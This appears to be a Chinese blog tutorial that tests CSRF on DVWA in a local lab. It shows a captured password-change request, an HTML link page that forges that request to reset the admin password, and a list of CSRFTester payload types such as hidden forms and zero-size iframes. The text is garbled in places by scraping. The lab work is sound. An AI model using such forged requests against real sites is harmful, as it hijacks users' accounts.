CSRF漏洞测试案例

CSRF***流程为:php

***者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成***

完成***成功的条件:html

    管理员正在网站后台,或则管理员的session并无失效。nginx


测试网站:web

    owaspbwa环境中的DVWA应用环境
跨域


测试内容为CSRF漏洞
浏览器

如图所示:session

wKiom1iayGTAVmDmAADjTuKjrxw193.jpg-wh_50


修改登录密码的HTTP请求内容以下:app

GET /dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change HTTP/1.1框架

Host: 192.168.232.132ide

Connection: close

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2984.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,p_w_picpath/webp,*/*;q=0.8

Referer: https://192.168.232.132/dvwa/vulnerabilities/csrf/

Accept-Encoding: gzip, deflate, sdch, br

Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

Cookie: security=low; PHPSESSID=3i35050qluj2hvvqu9rk760o81; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada


Nginx测试

本地搭建nginx环境,伪造http请求,提交http请求,直接修改192.168.232.132中DVWA的登录口令!!!

建立csrf.html文件,内容以下:

<html>

<head>

<title>csrf漏洞测试</title>

</head>

<body>

This is a CSRF test.

<a href="https://192.168.232.132/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">点这里</a>


</body>

</html>


访问CSRF.html,如图所示

wKiom1iayRSTfOzyAAAUhFABRSA311.jpg


点击超连接,成功发送请求,且修改了DVWA的登陆口令,如图所示:

wKioL1iayV-iFB4WAADtry6CO14288.jpg-wh_50


使用修改后的密码能够直接登录后台!!!


工具:OWASP-CSRFTester-1.0.jar,能够自动生成不一样内容的***文件。

浏览器设置代理,端口为8008,软件看下有没有token的存在,而后开始使用。


软件中Report Type了是让你选择用什么方法来进行***:

Forms:建立一个form表单。内容为hidden(隐藏),用户不可见(可POST、GET)

iFrame:建立一个iframe框架,高宽为0,用户不可见。(可POST、GET)

IMG:建立一个IMG标签(只能GET)。

XHR:建立一个AJAX请求(可POST、GET)

Link:建立一个a标签的超连接(只能GET)


一般使用第一个就能够了

第二个容易找不到对象(若是你是新手,对JavaScript不熟的话,不建议选择这个)

第三个只能发送GET请求,有限制。

第四个有跨域限制,有的浏览器不容许发送跨域请求,除非网站有设置。

第五个须要点击才能触发(固然能够修改成自动触发),还有一个是他也只能发送GET请求。


本次测试所有为本地环境,若有雷同,纯属巧合!!!

就到这里吧!!!

相关文章
相关标签/搜索